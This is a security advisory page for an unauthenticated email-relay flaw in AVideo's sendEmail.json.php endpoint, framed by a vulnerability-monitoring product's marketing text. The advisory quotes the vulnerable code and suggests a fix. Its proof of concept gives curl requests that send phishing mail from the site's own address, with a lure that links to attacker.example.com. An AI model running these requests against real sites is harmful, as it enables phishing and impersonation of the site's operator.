Open-Source Security Intelligence

Know every vulnerability
before it knows you.

DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.

Search

GHSA-5hgj-7gm9-cff5

MediumCVSS 5.3 / 10
Published May 5, 2026·Last modified May 5, 2026
Affected Components(0)

No affected components available

Description

Summary

objects/sendEmail.json.php exposes two branches depending on whether contactForm=1 is submitted. When the parameter is omitted, the endpoint sets $sendTo to an attacker-supplied email and, for unauthenticated callers, uses the site's own contact email as the message From:/Reply-To:. The endpoint is explicitly allow-listed as a "public write action" in objects/functionsSecurity.php (line 885), so it requires no authentication or CSRF token. An unauthenticated attacker (solving a captcha) can force the site's own SMTP infrastructure to send attacker-composed emails to arbitrary recipients with the site's legitimate sender address, passing SPF/DKIM/DMARC for the site's domain — ideal for targeted phishing and brand impersonation.

Details

Vulnerable code (objects/sendEmail.json.php):

10: $valid = Captcha::validation(@$_POST['captcha']);
11: if(User::isAdmin()){
12:     $valid = true;
13: }
...
16: if ($valid) {
...
24:     $mail = new \PHPMailer\PHPMailer\PHPMailer();
25:     setSiteSendMessage($mail);           // uses site's SMTP credentials
...
30:     $replyTo = User::getEmail_();
31:     if (empty($replyTo)) {
32:         $replyTo = $config->getContactEmail();   // <-- FALLBACK to site's own email
33:     }
34:
35:     $sendTo = $_POST['email'];            // attacker-controlled recipient
36:
37:     // if it is from contact form send the message to the siteowner and the sender is the email on the form field
38:     if (!empty($_POST['contactForm'])) {
39:         $replyTo = $_POST['email'];
40:         $sendTo  = $config->getContactEmail();
41:     }
42:
43:     if (filter_var($sendTo, FILTER_VALIDATE_EMAIL)) {
44:         $mail->AddReplyTo($replyTo);       // site's address
45:         $mail->setFrom($replyTo);          // From: site's address
...
47:         $mail->addAddress($sendTo);        // TO: attacker-chosen victim
...
49:         $safeFirstName = htmlspecialchars($_POST['first_name'], ENT_QUOTES, 'UTF-8');
50:         $mail->Subject = 'Message From Site ' . $config->getWebSiteTitle() . " ({$safeFirstName})";
51:         $mail->msgHTML($msg);
...
55:         if (!$mail->send()) { ... }

User::getEmail_() (objects/user.php:345-352): returns '' when the caller is not logged in, driving the fallback to $config->getContactEmail().

Endpoint is publicly callable. objects/functionsSecurity.php:879-918 lists sendEmail.json.php in the built-in "public write actions" CSRF/same-domain bypass:

static $builtinBypass = [
    ...
    // Public write actions
    'sendEmail.json.php',
    ...
];
if (in_array($baseName, $builtinBypass, true)) { return; }

Why existing defenses don't mitigate the abuse:

  • Captcha (Captcha::validation): costs one solve per email. Manual solves remain viable for targeted phishing, and a separate captcha-bypass primitive in this codebase (tracked separately) automates abuse.
  • FILTER_VALIDATE_EMAIL (line 43): validates $sendTo format, preventing CRLF/header injection, but does not verify that the sender is authorized to send to that address.
  • htmlspecialchars on $safeEmail/$safeComment/$safeFirstName: blocks HTML injection in the rendered message but does not prevent phishing content — attacker fully controls the visible text (URL, instructions) and the perceived sender.
  • No rate limiting, no auth check, no association between the caller and the recipient address.

Flow summary for the abuse case (unauthenticated, no contactForm):

  1. User::getEmail_()'', so $replyTo = site's contact email (line 32)
  2. $sendTo = attacker's chosen recipient (line 35)
  3. contactForm branch skipped (line 38)
  4. Site's SMTP sends From: <site contact> to <victim> with attacker's subject/body (lines 44-51)

Because the message is genuinely relayed by the site's mail infrastructure, SPF/DKIM/DMARC for the site's domain pass, making the phishing message indistinguishable from legitimate site mail.

PoC

Endpoint: POST /objects/sendEmail.json.php (also reachable via POST /sendEmail per .htaccess:201).

# 1. Obtain a session + captcha image
curl -c cookies.txt -s 'http://target.example.com/captcha.php?refresh=1' -o captcha.png
# attacker manually solves the captcha -> e.g. 'abc123'

# 2. Send phishing email. Note: contactForm is OMITTED.
#    - User::getEmail_() returns '' (unauth) -> $replyTo falls back to site's contact email
#    - $sendTo = attacker-chosen recipient
#    - setFrom($replyTo) -> From: is the site's real address
curl -b cookies.txt -s -X POST 'http://target.example.com/objects/sendEmail.json.php' \
  --data-urlencode 'captcha=abc123' \
  --data-urlencode 'email=victim@target.com' \
  --data-urlencode 'first_name=Support Team' \
  --data-urlencode 'comment=Urgent: Your account will be suspended. Please verify at http://attacker.example.com/reset'

Expected server response:

{"error":"","success":"Message sent"}

Delivered headers at victim@target.com:

From: <site's legitimate contact email, e.g. contact@legit-videosite.com>
Reply-To: <site's legitimate contact email>
To: victim@target.com
Subject: Message From Site <SiteName> (Support Team)
Body:   <b>Email:</b> victim@target.com<br><br>Urgent: Your account will be suspended...

Contrast with the intended contactForm=1 flow (correctly routes to the site owner):

curl -b cookies.txt -s -X POST 'http://target.example.com/objects/sendEmail.json.php' \
  --data-urlencode 'captcha=<newcaptcha>' \
  --data-urlencode 'email=attacker@attacker.com' \
  --data-urlencode 'comment=hi' \
  --data-urlencode 'contactForm=1'
# -> $sendTo = site owner's contact email; $replyTo = attacker's email. (Normal contact form.)

Omitting contactForm inverts the routing and turns the endpoint into an unauthenticated sender-for-hire using the site's own From: identity.

Impact

  • Phishing with the site's real sender identity. Mail originates from the site's SMTP, so SPF/DKIM/DMARC pass; the message is indistinguishable from legitimate site communications and bypasses inbox anti-phishing heuristics.
  • Brand impersonation / account-takeover chains. Attacker-controlled subject (first_name) and body (comment) support credential-harvesting pages that appear to come from the site operator.
  • Mail-reputation damage. Repeated abuse can blacklist the site's sending IP/domain, degrading legitimate mail deliverability.
  • Works against any AVideo instance with SMTP configured — a default deployment after the admin configures SMTP for standard notifications. No privileged position, credentials, or non-default flags required.

Recommended Fix

Collapse the endpoint to contact-owner-only behavior and require either authentication or contactForm=1. Minimal patch:

// objects/sendEmail.json.php
...
$valid = Captcha::validation(@$_POST['captcha']);
if (User::isAdmin()) {
    $valid = true;
}

// Reject the non-contactForm branch for unauthenticated callers.
// The "share with a friend" flow already requires User::isLogged()
// in the UI (view/.../functiongetShareMenu.php), so enforce it here too.
if (empty($_POST['contactForm']) && !User::isLogged()) {
    $obj = new stdClass();
    $obj->error = __("Authentication required");
    header('Content-Type: application/json');
    echo json_encode($obj);
    exit;
}

$obj = new stdClass();
$obj->error = '';
if ($valid) {
    ...
    $replyTo = User::getEmail_();
    if (empty($replyTo)) {
        // Should no longer be reachable for arbitrary recipients.
        // Keep as defense-in-depth only for contactForm=1 path.
        $replyTo = $config->getContactEmail();
    }
    ...
}

Additional hardening:

  1. Always use a dedicated no-reply@ address in setFrom(); put the caller's address only in Reply-To. Never reuse $config->getContactEmail() as the From for user-initiated messages.
  2. For the logged-in "share" flow, verify the caller's email has been confirmed, and rate-limit by user id and by IP.
  3. Drop the non-contactForm branch entirely if no legitimate unauthenticated UI caller remains.
  4. Add a visible "user-submitted message via our site" banner to the email body so recipients can distinguish these from first-party communications.
Risk Scores
Base Score
5.3

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a low impact on the integrity of the data.

Threat Intelligence
4.9

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
0.23%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Browse More

Scan your project

Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.

Checkout DevGuard